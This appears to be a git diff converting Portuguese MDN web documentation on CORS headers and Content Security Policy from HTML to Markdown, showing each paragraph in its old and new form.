
+### Access-Control-Allow-Credentials -

Access-Control-Allow-Credentials

+The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the `credentials` flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple `GET` requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content. -

The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the credentials flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple GET requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.

+``` +Access-Control-Allow-Credentials: true +``` -
Access-Control-Allow-Credentials: true
-
+[Credentialed requests](#Requisições_com_credenciais) are discussed above. -

Credentialed requests are discussed above.

+### Access-Control-Allow-Methods -

Access-Control-Allow-Methods

+O {{HTTPHeader("Access-Control-Allow-Methods")}} cabeçalho especifica o método ou os métodos permitidos ao acessar o recurso. Isso é usado em resposta há uma requisição preflight. As condições na qual a requisição é preflight são discutidas à seguir. -

O {{HTTPHeader("Access-Control-Allow-Methods")}} cabeçalho especifica o método ou os métodos permitidos ao acessar o recurso. Isso é usado em resposta há uma requisição preflight. As condições na qual a requisição é preflight são discutidas à seguir.

+``` +Access-Control-Allow-Methods: [, ]* +``` -
Access-Control-Allow-Methods: <method>[, <method>]*
-
+An example of a [preflight request is given above](#Preflighted_requests), including an example which sends this header to the browser. -

An example of a preflight request is given above, including an example which sends this header to the browser.

+### Access-Control-Allow-Headers -

Access-Control-Allow-Headers

+The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a [preflight request](#Preflighted_requests) to indicate which HTTP headers can be used when making the actual request. -

The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.

+``` +Access-Control-Allow-Headers: [, ]* +``` -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
+## Os cabeçalhos de solicitação HTTP -

Os cabeçalhos de solicitação HTTP

+This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically. -

This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.

+### Origin -

Origin

+The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request. -

The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.

+``` +Origin: +``` -
Origin: <origin>
-
+The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name. -

The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.

+> **Nota:** The `origin` can be the empty string; this is useful, for example, if the source is a `data` URL. -
Note: The origin can be the empty string; this is useful, for example, if the source is a data URL.
+Note that in any access control request, the {{HTTPHeader("Origin")}} header is **always** sent. -

Note that in any access control request, the {{HTTPHeader("Origin")}} header is always sent.

+### Access-Control-Request-Method -

Access-Control-Request-Method

+The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made. -

The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.

+``` +Access-Control-Request-Method: +``` -
Access-Control-Request-Method: <method>
-
+Examples of this usage can be [found above.](#Preflighted_requests) -

Examples of this usage can be found above.

+### Access-Control-Request-Headers -

Access-Control-Request-Headers

+The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made. -

The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.

+``` +Access-Control-Request-Headers: [, ]* +``` -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
+Examples of this usage can be [found above](#Preflighted_requests). -

Examples of this usage can be found above.

+## Especificações -

Especificações

+| Specification | Status | Comment | +| ---------------------------------------------------------------- | ------------------------ | -------------------------------------------------------------------------------- | +| {{SpecName('Fetch', '#cors-protocol', 'CORS')}} | {{Spec2('Fetch')}} | New definition; supplants [W3C CORS](https://www.w3.org/TR/cors/) specification. | - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants W3C CORS specification.
+## Compatibilidade com navegadores -

Compatibilidade com navegadores

+{{Compat("http.headers.Access-Control-Allow-Origin")}} -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+### Notas de compatibilidade -

Notas de compatibilidade

+- Internet Explorer 8 and 9 expose CORS via the `XDomainRequest` object, but have a full implementation in IE 10. +- While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using `drawImage`. -
    -
  • Internet Explorer 8 and 9 expose CORS via the XDomainRequest object, but have a full implementation in IE 10.
  • -
  • While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using drawImage.
  • -
+## Veja também -

Veja também

+- [CORS errors](/pt-BR/docs/Web/HTTP/CORS/Errors) +- [Enable CORS: I want to add CORS support to my server](https://enable-cors.org/server.html) +- {{domxref("XMLHttpRequest")}} +- [Fetch API](/pt-BR/docs/Web/API/Fetch_API) +- [Using CORS with All (Modern) Browsers](http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx) +- [Using CORS - HTML5 Rocks](http://www.html5rocks.com/en/tutorials/cors/) +- [Code Samples Showing `XMLHttpRequest` and Cross-Origin Resource Sharing](https://arunranga.com/examples/access-control/) +- [Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)](https://github.com/jackblackevo/cors-jsonp-sample) +- [Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)](/pt-BR/docs/Web/HTTP/Server-Side_Access_Control) +- [Stack Overflow answer with “how to” info for dealing with common problems](https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141): - + - How to avoid the CORS preflight + - How to use a CORS proxy to get around _“No Access-Control-Allow-Origin header”_ + - How to fix _“Access-Control-Allow-Origin header must not be the wildcard”_ diff --git a/files/pt-br/web/http/csp/index.md b/files/pt-br/web/http/csp/index.md index acd20c8aaa3924..e6f67a53cdd30e 100644 --- a/files/pt-br/web/http/csp/index.md +++ b/files/pt-br/web/http/csp/index.md @@ -6,130 +6,127 @@ tags: - Segurança translation_of: Web/HTTP/CSP --- -

{{ gecko_minversion_header("2.0") }}

+{{ gecko_minversion_header("2.0") }} -

+**Content Security Policy** (Política de Segurança de Conteúdo, também conhecida como {{Glossary("CSP")}}) é uma camada adicional de segurança que facilita a detecção e mitigação de certos tipos de ataques, incluindo Cross Site Scripting ({{Glossary("XSS")}}) e ataques de injeção de dados. Esses ataques são utilizados para diversos fins, e eles vão desde roubo de dados até desfiguração do site para distribuição de malware. -

Content Security Policy (Política de Segurança de Conteúdo, também conhecida como {{Glossary("CSP")}}) é uma camada adicional de segurança que facilita a detecção e mitigação de certos tipos de ataques, incluindo Cross Site Scripting ({{Glossary("XSS")}}) e ataques de injeção de dados. Esses ataques são utilizados para diversos fins, e eles vão desde roubo de dados até desfiguração do site para distribuição de malware.

+O CSP foi projetado para ser totalmente compatível retroatívelmente (come exceção da versão 2 do CSP onde existem algumas inconsistências explicitamente mencionadas com compatibilidade retroativa; mais detalhes podem ser encontrados [aqui](https://www.w3.org/TR/CSP2) na seção 1.1). Os navegadores que não possuem suporte para o CSP ainda irão funcionar com servidores que o implementarem, e vice-versa: navegadores que não fornecem suporte podem simplesmente ignora-lo, funcionando normalmente, utilizando a norma padrão de [same-origin policy](/pt-BR/docs/Web/Security/Same-origin_policy) (política de mesma origem) para conteúdo web. Se o site não oferecer o cabeçaho CSP, os navegadores também utilizam a política de same-origin. -

O CSP foi projetado para ser totalmente compatível retroatívelmente (come exceção da versão 2 do CSP onde existem algumas inconsistências explicitamente mencionadas com compatibilidade retroativa; mais detalhes podem ser encontrados aqui na seção 1.1). Os navegadores que não possuem suporte para o CSP ainda irão funcionar com servidores que o implementarem, e vice-versa: navegadores que não fornecem suporte podem simplesmente ignora-lo, funcionando normalmente, utilizando a norma padrão de same-origin policy (política de mesma origem) para conteúdo web. Se o site não oferecer o cabeçaho CSP, os navegadores também utilizam a política de same-origin.

+Para habilitar o CSP, você precisa configurar seu web server para retornar o cabeçalho {{HTTPHeader("Content-Security-Policy")}} (algumas vezes você verá menções para o cabeçalho `X-Content-Security-Policy`, mas essa é uma versão antiga que você não precisa especificar mais. -

Para habilitar o CSP, você precisa configurar seu web server para retornar o cabeçalho {{HTTPHeader("Content-Security-Policy")}} (algumas vezes você verá menções para o cabeçalho X-Content-Security-Policy, mas essa é uma versão antiga que você não precisa especificar mais.

+Alternativamente, o elemento {{HTMLElement("meta")}} pode ser usado para configurar a política, por exemplo: `` -

Alternativamente, o elemento {{HTMLElement("meta")}} pode ser usado para configurar a política, por exemplo: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

+## Ameaças -

Ameaças

+### Mitigando cross site scripting -

Mitigando cross site scripting

+Um objetivo primário do CSP é de mitigar e reportar ataques XSS. Os ataques de XSS exploram a confiaça do navegador sobre o conteúdo recebido pelo servidor. Scripts maliciosos são executados pelo navegador da vítima porque o navegador confia na origem do conteúdo, mesmo quando sua origem não está vindo de onde parece que está vindo. -

Um objetivo primário do CSP é de mitigar e reportar ataques XSS. Os ataques de XSS exploram a confiaça do navegador sobre o conteúdo recebido pelo servidor. Scripts maliciosos são executados pelo navegador da vítima porque o navegador confia na origem do conteúdo, mesmo quando sua origem não está vindo de onde parece que está vindo.

+O CSP faz com que seja possível para administradores de servidores reduzirem ou eliminarem os vetores em que os ataques de XSS podem ocorrer, especificando os domínios que o navegador deve considerar como origens válidas de scripts para serem executados. Um navegador comátivel com o CSP só irá executar então scripts que vierem de arquivos que estejam presentes nos domínios que foram previamente especificados como confiáveis, ignorando todos os outros scripts (incluindo scripts inline e atributos HTML de manipulação de eventos). -

O CSP faz com que seja possível para administradores de servidores reduzirem ou eliminarem os vetores em que os ataques de XSS podem ocorrer, especificando os domínios que o navegador deve considerar como origens válidas de scripts para serem executados. Um navegador comátivel com o CSP só irá executar então scripts que vierem de arquivos que estejam presentes nos domínios que foram previamente especificados como confiáveis, ignorando todos os outros scripts (incluindo scripts inline e atributos HTML de manipulação de eventos).

+Como uma forma de proteção final, os sites que querem nunca permitir a execução de scripts podem optar para desabilitar a execução globalmente. -

Como uma forma de proteção final, os sites que querem nunca permitir a execução de scripts podem optar para desabilitar a execução globalmente.

+### Mitigando ataques de captura de pacotes -

Mitigando ataques de captura de pacotes

+Além da restrição de domínios deonde o conteúdo pode ser carregado, o servidor consegue especificar quais protocolos estão habilitados para utilização; por exemplo (e literalmente, de um ponto de vista de segurança), um servidor pode especificar que todo conteúdo deve ser carregando utilizando HTTPS. Uma estratégia completa de transmissão de dados segura inclui não só impor o protocolo HTTPS para transferência de dados, mas também marcar todos os [_cookies_ com a ](/pt-BR/docs/Web/HTTP/Cookies)\_[secure flag](/pt-BR/docs/Web/HTTP/Cookies) \_e prover redirecionamentos automáticos de páginas HTTP para suas versões HTTPS. Os sites também podem utilizar o cabeçalho {{HTTPHeader("Strict-Transport-Security")}} para garantir que os navegadores se conectem neles apenas usando um canal criptografado. -

+## Utilizando o CSP -

Além da restrição de domínios deonde o conteúdo pode ser carregado, o servidor consegue especificar quais protocolos estão habilitados para utilização; por exemplo (e literalmente, de um ponto de vista de segurança), um servidor pode especificar que todo conteúdo deve ser carregando utilizando HTTPS. Uma estratégia completa de transmissão de dados segura inclui não só impor o protocolo HTTPS para transferência de dados, mas também marcar todos os cookies com a secure flag e prover redirecionamentos automáticos de páginas HTTP para suas versões HTTPS. Os sites também podem utilizar o cabeçalho {{HTTPHeader("Strict-Transport-Security")}} para garantir que os navegadores se conectem neles apenas usando um canal criptografado.

+Configurar uma Política de Segurança de Conteúdo envolve adicionar o header HTTP `Content-Security-Policy `a uma página web e adicionar valores para controlar recursos que o user-agent é habilitado para carregar para aquela página. Por exemplo, uma página que faz o upload e exibe imagens poderia permitir imagens de qualquer lugar, mas restringir um form action de um end point específico. Uma política de segurança de conteúdo devidamente concebida ajuda a proteger a página contra ataques do tipo cross site scripting. Este artigo explica como construir tais headers devidamente, e provê exemplos. -

Utilizando o CSP

+Anteriormente ao Firefox 23, o header HTTP `X-Content-Security-Policy `era utilizado. Do Firefox 23 em diante começou-se a usar o novo padrão, o header `Content-Security-Policy. `Durante a transição do header anterior para o novo header, sites podiam enviar ambos os header `X-Content-Security-Policy `e` Content-Security-Policy`. Neste caso, o header `X-Content-Security-Policy` seria ignorado e a política contida no header `Content-Security-Policy` seria utilizada. -

Configurar uma Política de Segurança de Conteúdo envolve adicionar o header HTTP Content-Security-Policy a uma página web e adicionar valores para controlar recursos que o user-agent é habilitado para carregar para aquela página. Por exemplo, uma página que faz o upload e exibe imagens poderia permitir imagens de qualquer lugar, mas restringir um form action de um end point específico. Uma política de segurança de conteúdo devidamente concebida ajuda a proteger a página contra ataques do tipo cross site scripting. Este artigo explica como construir tais headers devidamente, e provê exemplos.

+## Especificando sua política -

Anteriormente ao Firefox 23, o header HTTP X-Content-Security-Policy era utilizado. Do Firefox 23 em diante começou-se a usar o novo padrão, o header Content-Security-Policy. Durante a transição do header anterior para o novo header, sites podiam enviar ambos os header X-Content-Security-Policy e Content-Security-Policy. Neste caso, o header X-Content-Security-Policy seria ignorado e a política contida no header Content-Security-Policy seria utilizada.

+Você pode usar o `Content-Security-Policy` HTTP header para especificar sua política, dessa forma: -

Especificando sua política

+``` +Content-Security-Policy: policy +``` -

Você pode usar o Content-Security-Policy HTTP header para especificar sua política, dessa forma:

+A política é uma string contendo as [diretivas de políticas](/en/Security/CSP/CSP_policy_directives "en/Security/CSP/CSP policy directives") descrevendo seu Content Security Policy. -
Content-Security-Policy: policy
-
+## Escrevendo uma política -

A política é uma string contendo as diretivas de políticas descrevendo seu Content Security Policy.

+Uma politica é descrita usando uma série de [diretivas de políticas](/pt-BR/docs/Web/Security/CSP/CSP_policy_directives), cada uma descrevendo uma política para certos tipos de recursos ou áreas de política. Sua política deve incluir uma diretiva de política padrão `default-src`, que cobre os outros tipos de recursos quando eles não possuem política própria. (Para uma lista completa, veja a descrição da diretiva default-src.) Uma política precisa incluir uma diretiva` default-src` ou script-src para evitar que scripts inline sejam executados, assim como bloquear o uso de `eval()`. Uma política precisa incluir uma diretiva `default-src` ou `style-src `para restringir estilos inline de serem aplicados a partir de um elemento `